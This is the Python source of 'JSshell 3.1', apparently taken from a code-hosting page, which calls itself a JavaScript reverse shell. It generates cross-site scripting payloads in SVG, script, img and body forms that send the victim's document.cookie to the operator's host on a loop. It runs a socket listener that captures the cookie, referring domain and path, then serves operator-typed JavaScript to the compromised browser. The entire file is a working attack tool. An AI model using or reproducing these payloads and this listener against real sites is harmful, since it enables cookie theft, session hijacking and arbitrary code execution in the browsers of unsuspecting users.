You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
200 lines
6.0 KiB
200 lines
6.0 KiB
#!/usr/bin/env python3
|
|
import socket
|
|
import sys
|
|
from requests import get
|
|
import argparse
|
|
|
|
|
|
red = '\033[1;31m'
|
|
white = '\033[1;m'
|
|
blue = '\033[1;34m'
|
|
if sys.platform == 'win32':
|
|
white = red = blue = ''
|
|
|
|
if sys.version_info < (3, 0):
|
|
input = raw_input
|
|
|
|
banner = '''%s __
|
|
|(_ _ |_ _ | |
|
|
\_|__)_> | |(/_ | |
|
|
v3.1
|
|
''' % red
|
|
hp = '''JSshell uses javascript code as shell commands. Also supports some commands:
|
|
help This help
|
|
domain The source domain
|
|
pwd The source path
|
|
cookie The user cookie
|
|
snippet Write a snippet of code
|
|
exit, quit Exit the JS shell'''
|
|
|
|
|
|
parser = argparse.ArgumentParser(description='JSshell 3.1: javascript reverse shell')
|
|
parser.add_argument('-p', help='local port number (default: 4848)', dest='port', default=4848)
|
|
parser.add_argument('-s', help='local sorce address', dest='host', default='')
|
|
parser.add_argument('-g', help='generate JS reverse shell payload', dest='gene', action='store_true')
|
|
parser.add_argument('-c', help='command to execute after got shell', dest='command', default=str())
|
|
parser.add_argument('-w', help='timeout for shell connection', dest='secs', type=float, default=0)
|
|
parser.add_argument('-q', help='quiet mode', dest='quiet', action='store_true')
|
|
|
|
args = parser.parse_args()
|
|
|
|
host = format(args.host)
|
|
|
|
if not len(host):
|
|
host = get('https://api.ipify.org').text
|
|
try:
|
|
port = int(format(args.port))
|
|
if not 0 <= port <= 65535:
|
|
print('Invalid port: %s' % port)
|
|
quit
|
|
except:
|
|
print('Invalid port: %s' % port)
|
|
quit
|
|
|
|
if args.quiet:
|
|
uprint = str
|
|
else:
|
|
uprint = print
|
|
|
|
gene = args.gene
|
|
cmd = format(args.command)
|
|
secs = float(format(args.secs))
|
|
payload = '''
|
|
- SVG: <svg/onload=setInterval(function(){{with(document)body.appendChild(createElement("script")).src="//{0}:{1}/?"+document.cookie}},1010)>
|
|
- SCRIPT: <script>setInterval(function(){{with(document)body.appendChild(createElement("script")).src="//{0}:{1}/?"+document.cookie}},1010)</script>
|
|
- IMG: <img src=x onerror=setInterval(function(){{with(document)body.appendChild(createElement("script")).src="//{0}:{1}/?"+document.cookie}},1010)>
|
|
- BODY: <body onload=setInterval(function(){{with(document)body.appendChild(createElement("script")).src="//{0}:{1}/?"+document.cookie}}></body>
|
|
'''.format(host, port)
|
|
|
|
|
|
form = b'''HTTP/1.1 200 OK
|
|
Content-Type: application/javascript
|
|
Connection: close
|
|
|
|
'''
|
|
|
|
|
|
def shell():
|
|
while 1:
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
|
|
if secs != 0:
|
|
s.settimeout(secs)
|
|
buffer = input('%s>>>%s ' % (blue, white))
|
|
if buffer == 'exit' or buffer == 'quit':
|
|
break
|
|
try:
|
|
if buffer[-1] in ['{', '(', '[']:
|
|
openchar = buffer[-1]
|
|
while 1:
|
|
func = input(' ' * 10)
|
|
buffer += '\n' + func
|
|
try:
|
|
if func[-1] == openchar:
|
|
break
|
|
except:
|
|
pass
|
|
except:
|
|
pass
|
|
|
|
s.bind(('0.0.0.0', port))
|
|
s.listen(0)
|
|
|
|
try:
|
|
c, a = s.accept()
|
|
data = c.recv(2048)
|
|
|
|
if buffer == 'help':
|
|
print(hp)
|
|
elif buffer == 'snippet':
|
|
print('Use CTRL+D to finish the snippet')
|
|
print()
|
|
|
|
buffer = sys.stdin.read()
|
|
elif buffer == 'domain':
|
|
try:
|
|
print(domain)
|
|
except:
|
|
print('Could not get the source domain because the referer has been disabled')
|
|
elif buffer == 'pwd':
|
|
try:
|
|
print(pth)
|
|
except:
|
|
print('Could not get the source path because the referer has been disabled')
|
|
elif buffer == 'cookie':
|
|
try:
|
|
print(cookie)
|
|
except:
|
|
print('Could not get the cookie because there is no cookie or because of other reasons')
|
|
|
|
c.send(form + buffer.encode())
|
|
c.shutdown(socket.SHUT_RDWR)
|
|
c.close()
|
|
s.close()
|
|
except KeyboardInterrupt:
|
|
if sys.platform == 'win32':
|
|
print('\nControl-C')
|
|
s.close()
|
|
break
|
|
except Exception as msg:
|
|
s.close()
|
|
break
|
|
|
|
def main():
|
|
global cookie
|
|
global domain
|
|
global pth
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
|
|
try:
|
|
s.bind(('0.0.0.0', port))
|
|
except socket.error as msg:
|
|
print("Can't grab 0.0.0.0:%s with bind: %s" % (port, msg))
|
|
quit()
|
|
|
|
uprint(banner)
|
|
if gene == True:
|
|
uprint('%sPayloads: %s' % (white, payload))
|
|
|
|
print('%sListening on [any] %s for incoming JS shell ...' % (white, port))
|
|
|
|
s.listen(2)
|
|
|
|
try:
|
|
c, addr = s.accept()
|
|
resp = c.recv(1024).decode()
|
|
except KeyboardInterrupt:
|
|
if sys.platform == 'win32':
|
|
print('\nControl-C')
|
|
exit()
|
|
except:
|
|
s.close()
|
|
main()
|
|
|
|
if 'Accept' in resp and 'HTTP' in resp:
|
|
print('Got JS shell from [%s] port %s to %s %s' % (addr[0], addr[1], socket.gethostname(), port))
|
|
cookie = resp.split('\n')[0].split("?")[1]
|
|
for line in resp.split('\n'):
|
|
if 'referer' in line.lower():
|
|
referer = line.lower().replace('referer: ', '')
|
|
domain = referer.split('//')[1]
|
|
pth = '/'.join(referer.split('/')[3:])
|
|
if pth in ['', '\r']:
|
|
pth = '/'
|
|
if len(cmd):
|
|
c.send(form + cmd.encode())
|
|
print('%s>>>%s %s' % (blue, white, cmd))
|
|
|
|
c.shutdown(socket.SHUT_RDWR)
|
|
c.close()
|
|
s.close()
|
|
shell()
|
|
|
|
else:
|
|
s.close()
|
|
main()
|
|
|
|
|
|
main()
|
|
|